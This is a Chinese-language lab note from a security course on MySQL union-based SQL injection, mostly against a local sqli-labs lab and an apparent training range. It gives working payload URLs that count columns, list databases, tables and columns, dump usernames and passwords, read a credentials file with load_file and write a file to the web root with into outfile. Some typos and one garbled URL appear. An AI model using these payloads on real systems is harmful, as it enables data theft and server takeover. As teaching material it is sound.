[小迪安全]笔记 day12、13 MySQL注入

http://localhost:8085/sqli-labs/Less-2/index.php?id=1 order by 4 正常
http://localhost:8085/sqli-labs/Less-2/index.php?id=1 order by 5 错误

第一个报错的列数是5，那么就有4列。

2. union注入

union注入前后两条语句字段数相同，不然报错。

http://localhost:8085/sqli-labs/Less-2/index.php?id=1 union select 1, 2, 3, 4 

将id=-1，前面的查询就不会成功
http://localhost:8085/sqli-labs/Less-2/index.php?id=-1 union select 1, 2, 3, 4 

网页显示的数字是就是回显位置 ，1、2、3、4 其中的几个或一个。

信息收集

• 数据库版本：version()
• 数据库名字：database()
• 数据库用户：user()
• 操作系统：@@version_compile_os

http://219.153.49.228:48354/new_list.php?id=-1 union select 1, version(), 2, 3, 4
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, database(), 2, 3, 4
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, user(), 2, 3, 4
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, @@version_compile_os, 2, 3, 4

知识点：

• 在MySQL5.0以上版本中，MySQL存在一个自带数据库名为information_schema。它是一个存储记录有所有数据库名,表名,列名的数据库，也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
• 数据库中符号“.“代表下一级，如xiao.urer表示xiao数据库下的user表名

information_schema.tables: 记录所有表名信息的表
information_schema.colums: 记录所有列名信息的表

table_name: 表名
colunn_nane: 列名
table_schema: 数据库名

当前 mysql 实例中所有数据库的信息。SHOW DATABASES; 命令从这个表获取数据。

mysql> use information_schema;
Database changed
mysql> SELECT * FROM SCHEMATA;
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| CATALOG_NAME | SCHEMA_NAME        | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH | DEFAULT_ENCRYPTION |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| def          | mysql              | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO                 |
| def          | information_schema | utf8                       | utf8_general_ci        |     NULL | NO                 |
| def          | performance_schema | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO
  |
| def          | sys                | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO
  |
  |
| def          | security           | gbk                        | gbk_chinese_ci         |     NULL | NO
  |
| def          | challenges         | gbk                        | gbk_chinese_ci         |     NULL | NO
  |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
6 rows in set (0.00 sec)

所以查出数据库名后，根据数据库名在information_schem数据库中的tables中查表名和在columns中查列名。

查询指定数据库名mozhe_Discuz_stormGroup下的表名信息:
http://219.153.49.228:48354/new_list.php?id=-1 union select
1,group_concat (table_name),3,4 from information_schema.tables
where table_schema='mozhe_Discuz_StormGroup'

http://219.153.49.228148354/new_list.php?id=-1 union select
1,group_concat(column_name),3,4 from
Information_schema.colums where
table_name='StormGroup_member'

http://219.153.49.228148354/new_list.php?id=-1 union 
select 1,name,password,4 from StormGroup_member

http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union 
select 1, schema_name, 3 from information_schema.schemata

http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union 
select 1, group_concat(schema_name), 3 from information_schema.schemata

http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union 
select 1, group_concat(table_name), 3 from information_schema.tables
where table_schema = 'bookstore'

http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union select
1,group_concat(column_name),3 from information_schema.columns
where table_name='user'

http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union 
select 1,username,password from bookstore.user where user.id = 3

http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union 
select 1,load_file("D:\\Programme\\softWare\\phpStudy\\WWW\\sqli-labs\\sql-connections\\db-creds.inc"),3

http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union 
select 'Hello', 'World', '!' 
into outfile 'D:\\Programme\\softWare\\phpStudy\\WWW\\sqli-labs\\hello.php'--+